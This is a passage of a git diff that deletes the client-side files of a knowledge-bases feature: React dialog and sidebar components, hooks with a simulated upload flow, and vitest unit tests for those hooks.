-                    <Button disabled={uploading} onClick={() => setOpen(false)} variant="ghost">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canSubmit || createMutation.isPending || uploading} onClick={handleSubmit}>
-                        {uploading
-                            ? `Uploading ${selectedFiles.filter((file) => file.status === 'completed').length}/${selectedFiles.length}...`
-                            : createMutation.isPending
-                              ? 'Creating...'
-                              : 'Create'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default CreateKnowledgeBaseDialog;
diff --git a/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesFilterTitle.tsx b/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesFilterTitle.tsx
deleted file mode 100644
index 7ef314a826e..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesFilterTitle.tsx
+++ /dev/null
@@ -1,34 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import useKnowledgeBasesFilterTitle from '@/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesFilterTitle';
-import {KnowledgeBaseTagsEntry, Tag} from '@/shared/middleware/graphql';
-
-interface KnowledgeBasesFilterTitleProps {
-    allTags: Tag[];
-    tagsByKnowledgeBaseData: KnowledgeBaseTagsEntry[];
-}
-
-const KnowledgeBasesFilterTitle = ({allTags, tagsByKnowledgeBaseData}: KnowledgeBasesFilterTitleProps) => {
-    const {pageTitle, tagId} = useKnowledgeBasesFilterTitle({allTags, tagsByKnowledgeBaseData});
-
-    return (
-        <div className="space-x-1">
-            <span className="text-sm font-semibold uppercase text-muted-foreground">Filter by </span>
-
-            {tagId ? (
-                <>
-                    <span className="text-sm uppercase text-muted-foreground">tag:</span>
-
-                    <Badge
-                        label={typeof pageTitle === 'string' ? pageTitle : 'Unknown Tag'}
-                        styleType="secondary-filled"
-                        weight="semibold"
-                    />
-                </>
-            ) : (
-                <span className="text-sm uppercase text-muted-foreground">none</span>
-            )}
-        </div>
-    );
-};
-
-export default KnowledgeBasesFilterTitle;
diff --git a/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesLeftSidebarNav.tsx b/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesLeftSidebarNav.tsx
deleted file mode 100644
index 27d8ab2f0da..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/KnowledgeBasesLeftSidebarNav.tsx
+++ /dev/null
@@ -1,41 +0,0 @@
-import useKnowledgeBasesLeftSidebarNav from '@/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesLeftSidebarNav';
-import {LeftSidebarNav, LeftSidebarNavItem} from '@/shared/layout/LeftSidebarNav';
-import {TagIcon} from 'lucide-react';
-
-const KnowledgeBasesLeftSidebarNav = () => {
-    const {hasData, isLoading, tagId, tags} = useKnowledgeBasesLeftSidebarNav();
-
-    if (!hasData) {
-        return <></>;
-    }
-
-    return (
-        <LeftSidebarNav
-            body={
-                !isLoading && (
-                    <>
-                        {tags.length ? (
-                            tags.map((item) => (
-                                <LeftSidebarNavItem
-                                    icon={<TagIcon className="mr-1 size-4" />}
-                                    item={{
-                                        current: String(item!.id) === tagId,
-                                        id: item!.id,
-                                        name: item!.name,
-                                    }}
-                                    key={item!.id}
-                                    toLink={`?tagId=${item!.id}`}
-                                />
-                            ))
-                        ) : (
-                            <span className="px-3 text-xs">No defined tags.</span>
-                        )}
-                    </>
-                )
-            }
-            title="Tags"
-        />
-    );
-};
-
-export default KnowledgeBasesLeftSidebarNav;
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useCreateKnowledgeBaseDialog.test.ts b/client/src/pages/automation/knowledge-bases/components/hooks/tests/useCreateKnowledgeBaseDialog.test.ts
deleted file mode 100644
index 09c86bb81e2..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useCreateKnowledgeBaseDialog.test.ts
+++ /dev/null
@@ -1,327 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {ChangeEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useCreateKnowledgeBaseDialog from '../useCreateKnowledgeBaseDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        mutate: vi.fn(),
-    };
-});
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useCreateKnowledgeBaseMutation: vi.fn(() => ({
-        isPending: false,
-        mutate: hoisted.mutate,
-    })),
-}));
-
-describe('useCreateKnowledgeBaseDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('is closed', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('has empty name', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.name).toBe('');
-        });
-
-        it('has empty description', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.description).toBe('');
-        });
-
-        it('has default minChunkSizeChars', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.minChunkSizeChars).toBe('1');
-        });
-
-        it('has default maxChunkSize', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.maxChunkSize).toBe('1024');
-        });
-
-        it('has default overlapSize', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.overlapSize).toBe('200');
-        });
-
-        it('has no selected files', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.selectedFiles).toEqual([]);
-        });
-
-        it('is not uploading', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.uploading).toBe(false);
-        });
-    });
-
-    describe('setName', () => {
-        it('updates name', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('New KB');
-            });
-
-            expect(result.current.name).toBe('New KB');
-        });
-    });
-
-    describe('setDescription', () => {
-        it('updates description', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setDescription('New description');
-            });
-
-            expect(result.current.description).toBe('New description');
-        });
-    });
-
-    describe('setMinChunkSizeChars', () => {
-        it('updates minChunkSizeChars', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setMinChunkSizeChars('5');
-            });
-
-            expect(result.current.minChunkSizeChars).toBe('5');
-        });
-    });
-
-    describe('setMaxChunkSize', () => {
-        it('updates maxChunkSize', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setMaxChunkSize('2048');
-            });
-
-            expect(result.current.maxChunkSize).toBe('2048');
-        });
-    });
-
-    describe('setOverlapSize', () => {
-        it('updates overlapSize', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setOverlapSize('100');
-            });
-
-            expect(result.current.overlapSize).toBe('100');
-        });
-    });
-
-    describe('handleFileChange', () => {
-        it('adds files to selected files', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            const mockFile = new File(['content'], 'test.pdf', {type: 'application/pdf'});
-
-            act(() => {
-                result.current.handleFileChange({
-                    target: {files: [mockFile]},
-                } as unknown as ChangeEvent<HTMLInputElement>);
-            });
-
-            expect(result.current.selectedFiles).toHaveLength(1);
-            expect(result.current.selectedFiles[0].file.name).toBe('test.pdf');
-            expect(result.current.selectedFiles[0].status).toBe('pending');
-        });
-    });
-
-    describe('removeFile', () => {
-        it('removes file at index', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            const mockFile1 = new File(['content1'], 'test1.pdf', {type: 'application/pdf'});
-            const mockFile2 = new File(['content2'], 'test2.pdf', {type: 'application/pdf'});
-
-            act(() => {
-                result.current.handleFileChange({
-                    target: {files: [mockFile1, mockFile2]},
-                } as unknown as ChangeEvent<HTMLInputElement>);
-            });
-
-            act(() => {
-                result.current.removeFile(0);
-            });
-
-            expect(result.current.selectedFiles).toHaveLength(1);
-            expect(result.current.selectedFiles[0].file.name).toBe('test2.pdf');
-        });
-    });
-
-    describe('canSubmit', () => {
-        it('is false when name is empty', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-
-        it('is true when name is not empty', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('Test KB');
-            });
-
-            expect(result.current.canSubmit).toBe(true);
-        });
-
-        it('is false when name is only whitespace', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('   ');
-            });
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-    });
-
-    describe('handleSubmit', () => {
-        it('calls mutation with form data', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('Test KB');
-                result.current.setDescription('Test description');
-                result.current.setMinChunkSizeChars('5');
-                result.current.setMaxChunkSize('2048');
-                result.current.setOverlapSize('100');
-            });
-
-            act(() => {
-                result.current.handleSubmit();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith({
-                knowledgeBase: {
-                    description: 'Test description',
-                    maxChunkSize: 2048,
-                    minChunkSizeChars: 5,
-                    name: 'Test KB',
-                    overlap: 100,
-                },
-                workspaceId: 'ws-1',
-            });
-        });
-
-        it('trims whitespace from name', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('  Test KB  ');
-            });
-
-            act(() => {
-                result.current.handleSubmit();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith(
-                expect.objectContaining({
-                    knowledgeBase: expect.objectContaining({
-                        name: 'Test KB',
-                    }),
-                })
-            );
-        });
-
-        it('sets description to undefined when empty', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setName('Test KB');
-                result.current.setDescription('');
-            });
-
-            act(() => {
-                result.current.handleSubmit();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith(
-                expect.objectContaining({
-                    knowledgeBase: expect.objectContaining({
-                        description: undefined,
-                    }),
-                })
-            );
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('opens dialog', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('closes dialog and resets form', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            act(() => {
-                result.current.setOpen(true);
-                result.current.setName('Test');
-            });
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.name).toBe('');
-        });
-    });
-
-    describe('formatFileSize', () => {
-        it('formats 0 bytes', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.formatFileSize(0)).toBe('0 Bytes');
-        });
-
-        it('formats kilobytes', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.formatFileSize(1024)).toBe('1 KB');
-        });
-
-        it('formats megabytes', () => {
-            const {result} = renderHook(() => useCreateKnowledgeBaseDialog({workspaceId: 'ws-1'}));
-
-            expect(result.current.formatFileSize(1048576)).toBe('1 MB');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBases.test.ts b/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBases.test.ts
deleted file mode 100644
index 300c598b54a..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBases.test.ts
+++ /dev/null
@@ -1,184 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBases from '../useKnowledgeBases';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        allTagsData: {
-            knowledgeBaseTags: [
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ],
-        },
-        currentWorkspaceId: 1049,
-        knowledgeBasesData: {
-            knowledgeBases: [
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ],
-        },
-        searchParams: new Map<string, string | null>([['tagId', null]]),
-        tagsByKnowledgeBaseData: {
-            knowledgeBaseTagsByKnowledgeBase: [
-                {knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]},
-                {knowledgeBaseId: 'kb-2', tags: [{id: '2', name: 'Tag 2'}]},
-            ],
-        },
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [
-        {
-            get: (key: string) => hoisted.searchParams.get(key) ?? null,
-        },
-    ]),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn((selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.currentWorkspaceId})
-    ),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBaseTagsByKnowledgeBaseQuery: vi.fn(() => ({
-        data: hoisted.tagsByKnowledgeBaseData,
-    })),
-    useKnowledgeBaseTagsQuery: vi.fn(() => ({
-        data: hoisted.allTagsData,
-    })),
-    useKnowledgeBasesQuery: vi.fn(() => ({
-        data: hoisted.knowledgeBasesData,
-        error: null,
-        isLoading: false,
-    })),
-}));
-
-describe('useKnowledgeBases', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.searchParams = new Map<string, string | null>([['tagId', null]]);
-        hoisted.knowledgeBasesData = {
-            knowledgeBases: [
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ],
-        };
-    });
-
-    describe('knowledgeBases', () => {
-        it('returns knowledge bases from query', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.knowledgeBases).toEqual([
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ]);
-        });
-
-        it('filters out null knowledge bases', () => {
-            hoisted.knowledgeBasesData = {
-                knowledgeBases: [
-                    {id: 'kb-1', name: 'KB 1'},
-                    null as unknown as {id: string; name: string},
-                    {id: 'kb-2', name: 'KB 2'},
-                ],
-            };
-
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.knowledgeBases).toEqual([
-                {id: 'kb-1', name: 'KB 1'},
-                {id: 'kb-2', name: 'KB 2'},
-            ]);
-        });
-    });
-
-    describe('filteredKnowledgeBases', () => {
-        it('returns all knowledge bases when no tag filter', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.filteredKnowledgeBases).toEqual(result.current.knowledgeBases);
-        });
-
-        it('filters by tag when tagId is set', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '1']]);
-
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.filteredKnowledgeBases).toEqual([{id: 'kb-1', name: 'KB 1'}]);
-        });
-
-        it('returns empty array when no matches for tag filter', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '999']]);
-
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.filteredKnowledgeBases).toEqual([]);
-        });
-    });
-
-    describe('allTags', () => {
-        it('returns all tags from query', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.allTags).toEqual([
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ]);
-        });
-
-        it('returns empty array when no tags', () => {
-            hoisted.allTagsData = {knowledgeBaseTags: null as unknown as typeof hoisted.allTagsData.knowledgeBaseTags};
-
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.allTags).toEqual([]);
-        });
-    });
-
-    describe('tagsByKnowledgeBaseData', () => {
-        it('returns tags by knowledge base from query', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.tagsByKnowledgeBaseData).toEqual([
-                {knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]},
-                {knowledgeBaseId: 'kb-2', tags: [{id: '2', name: 'Tag 2'}]},
-            ]);
-        });
-    });
-
-    describe('tagId', () => {
-        it('returns undefined when no tag filter', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.tagId).toBeUndefined();
-        });
-
-        it('returns tagId from search params', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '1']]);
-
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.tagId).toBe('1');
-        });
-    });
-
-    describe('isLoading', () => {
-        it('returns loading state from query', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-    });
-
-    describe('error', () => {
-        it('returns error from query', () => {
-            const {result} = renderHook(() => useKnowledgeBases());
-
-            expect(result.current.error).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesFilterTitle.test.ts b/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesFilterTitle.test.ts
deleted file mode 100644
index 59a22a74a1c..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesFilterTitle.test.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBasesFilterTitle from '../useKnowledgeBasesFilterTitle';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        searchParams: new Map<string, string | null>([['tagId', null]]),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [
-        {
-            get: (key: string) => hoisted.searchParams.get(key) ?? null,
-        },
-    ]),
-}));
-
-const mockAllTags = [
-    {id: '1', name: 'Global Tag 1'},
-    {id: '2', name: 'Global Tag 2'},
-];
-
-const mockTagsByKnowledgeBase = [
-    {knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]},
-    {knowledgeBaseId: 'kb-2', tags: [{id: '3', name: 'Tag 3'}]},
-];
-
-describe('useKnowledgeBasesFilterTitle', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.searchParams = new Map<string, string | null>([['tagId', null]]);
-    });
-
-    describe('tagId', () => {
-        it('returns null when no tag filter', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.tagId).toBeNull();
-        });
-
-        it('returns tagId from search params', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '1']]);
-
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.tagId).toBe('1');
-        });
-    });
-
-    describe('pageTitle', () => {
-        it('returns undefined when no tag filter', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.pageTitle).toBeUndefined();
-        });
-
-        it('returns tag name from global tags', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '1']]);
-
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.pageTitle).toBe('Global Tag 1');
-        });
-
-        it('falls back to tags by knowledge base when not in global tags', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '3']]);
-
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.pageTitle).toBe('Tag 3');
-        });
-
-        it('returns undefined when tag not found anywhere', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '999']]);
-
-            const {result} = renderHook(() =>
-                useKnowledgeBasesFilterTitle({
-                    allTags: mockAllTags,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.pageTitle).toBeUndefined();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesLeftSidebarNav.test.ts b/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesLeftSidebarNav.test.ts
deleted file mode 100644
index b24ae397971..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/tests/useKnowledgeBasesLeftSidebarNav.test.ts
+++ /dev/null
@@ -1,103 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBasesLeftSidebarNav from '../useKnowledgeBasesLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        searchParams: new Map<string, string | null>([['tagId', null]]),
-        tagsData: {
-            knowledgeBaseTags: [
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ],
-        },
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [
-        {
-            get: (key: string) => hoisted.searchParams.get(key) ?? null,
-        },
-    ]),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBaseTagsQuery: vi.fn(() => ({
-        data: hoisted.tagsData,
-        isLoading: false,
-    })),
-}));
-
-describe('useKnowledgeBasesLeftSidebarNav', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.searchParams = new Map<string, string | null>([['tagId', null]]);
-        hoisted.tagsData = {
-            knowledgeBaseTags: [
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ],
-        };
-    });
-
-    describe('tags', () => {
-        it('returns tags from query', () => {
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.tags).toEqual([
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ]);
-        });
-
-        it('returns empty array when no tags', () => {
-            hoisted.tagsData = {knowledgeBaseTags: null as unknown as typeof hoisted.tagsData.knowledgeBaseTags};
-
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.tags).toEqual([]);
-        });
-    });
-
-    describe('tagId', () => {
-        it('returns null when no tag filter', () => {
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.tagId).toBeNull();
-        });
-
-        it('returns tagId from search params', () => {
-            hoisted.searchParams = new Map<string, string | null>([['tagId', '1']]);
-
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.tagId).toBe('1');
-        });
-    });
-
-    describe('hasData', () => {
-        it('returns true when data is available', () => {
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.hasData).toBe(true);
-        });
-
-        it('returns false when no data', () => {
-            hoisted.tagsData = null as unknown as typeof hoisted.tagsData;
-
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.hasData).toBe(false);
-        });
-    });
-
-    describe('isLoading', () => {
-        it('returns loading state from query', () => {
-            const {result} = renderHook(() => useKnowledgeBasesLeftSidebarNav());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/useCreateKnowledgeBaseDialog.ts b/client/src/pages/automation/knowledge-bases/components/hooks/useCreateKnowledgeBaseDialog.ts
deleted file mode 100644
index 71b81530abb..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/useCreateKnowledgeBaseDialog.ts
+++ /dev/null
@@ -1,166 +0,0 @@
-import {useCreateKnowledgeBaseMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {ChangeEvent, useState} from 'react';
-
-interface SelectedFileI {
-    documentId?: string;
-    file: File;
-    status: 'completed' | 'error' | 'pending' | 'processing' | 'uploading';
-    statusMessage?: string;
-}
-
-interface UseCreateKnowledgeBaseDialogProps {
-    workspaceId: string;
-}
-
-export default function useCreateKnowledgeBaseDialog({workspaceId}: UseCreateKnowledgeBaseDialogProps) {
-    const [open, setOpen] = useState(false);
-    const [name, setName] = useState('');
-    const [description, setDescription] = useState('');
-    const [minChunkSizeChars, setMinChunkSizeChars] = useState('1');
-    const [maxChunkSize, setMaxChunkSize] = useState('1024');
-    const [overlapSize, setOverlapSize] = useState('200');
-    const [selectedFiles, setSelectedFiles] = useState<SelectedFileI[]>([]);
-    const [uploading, setUploading] = useState(false);
-
-    const queryClient = useQueryClient();
-
-    const resetForm = () => {
-        setName('');
-        setDescription('');
-        setMinChunkSizeChars('1');
-        setMaxChunkSize('1024');
-        setOverlapSize('200');
-        setSelectedFiles([]);
-        setUploading(false);
-    };
-
-    const startSimulatedUpload = () => {
-        setUploading(true);
-
-        selectedFiles.forEach((_, index) => {
-            setSelectedFiles((prev) => {
-                const copy = [...prev];
-                copy[index] = {...copy[index], status: 'uploading'};
-
-                return copy;
-            });
-
-            setTimeout(() => {
-                setSelectedFiles((prev) => {
-                    const copy = [...prev];
-                    copy[index] = {...copy[index], status: 'processing', statusMessage: 'Processing document...'};
-
-                    return copy;
-                });
-            }, 1000);
-
-            setTimeout(() => {
-                setSelectedFiles((prev) => {
-                    const copy = [...prev];
-                    copy[index] = {
-                        ...copy[index],
-                        status: 'completed',
-                        statusMessage: 'Document processed successfully',
-                    };
-
-                    return copy;
-                });
-
-                if (index === selectedFiles.length - 1) {
-                    setTimeout(() => {
-                        queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-                        setOpen(false);
-                        resetForm();
-                    }, 500);
-                }
-            }, 3000);
-        });
-    };
-
-    const createMutation = useCreateKnowledgeBaseMutation({
-        onSuccess: () => {
-            if (selectedFiles.length > 0) {
-                startSimulatedUpload();
-            } else {
-                queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-                setOpen(false);
-                resetForm();
-            }
-        },
-    });
-
-    const handleFileChange = (event: ChangeEvent<HTMLInputElement>) => {
-        if (event.target.files) {
-            const newFiles = Array.from(event.target.files).map((file) => ({
-                file,
-                status: 'pending' as const,
-            }));
-
-            setSelectedFiles((prev) => [...prev, ...newFiles]);
-        }
-    };
-
-    const removeFile = (index: number) => {
-        setSelectedFiles((prev) => prev.filter((_, fileIndex) => fileIndex !== index));
-    };
-
-    const canSubmit = name.trim().length > 0;
-
-    const handleSubmit = () => {
-        createMutation.mutate({
-            knowledgeBase: {
-                description: description.trim() || undefined,
-                maxChunkSize: parseInt(maxChunkSize),
-                minChunkSizeChars: parseInt(minChunkSizeChars),
-                name: name.trim(),
-                overlap: parseInt(overlapSize),
-            },
-            workspaceId,
-        });
-    };
-
-    const formatFileSize = (bytes: number) => {
-        if (bytes === 0) {
-            return '0 Bytes';
-        }
-
-        const k = 1024;
-        const sizes = ['Bytes', 'KB', 'MB', 'GB'];
-        const i = Math.floor(Math.log(bytes) / Math.log(k));
-
-        return parseFloat((bytes / Math.pow(k, i)).toFixed(1)) + ' ' + sizes[i];
-    };
-
-    const handleOpenChange = (newOpen: boolean) => {
-        setOpen(newOpen);
-
-        if (!newOpen) {
-            resetForm();
-        }
-    };
-
-    return {
-        canSubmit,
-        createMutation,
-        description,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        maxChunkSize,
-        minChunkSizeChars,
-        name,
-        open,
-        overlapSize,
-        removeFile,
-        selectedFiles,
-        setDescription,
-        setMaxChunkSize,
-        setMinChunkSizeChars,
-        setName,
-        setOpen,
-        setOverlapSize,
-        uploading,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBases.ts b/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBases.ts
deleted file mode 100644
index f5f6999fa80..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBases.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {
-    KnowledgeBase,
-    KnowledgeBaseTagsEntry,
-    Tag,
-    useKnowledgeBaseTagsByKnowledgeBaseQuery,
-    useKnowledgeBaseTagsQuery,
-    useKnowledgeBasesQuery,
-} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-import {useSearchParams} from 'react-router-dom';
-
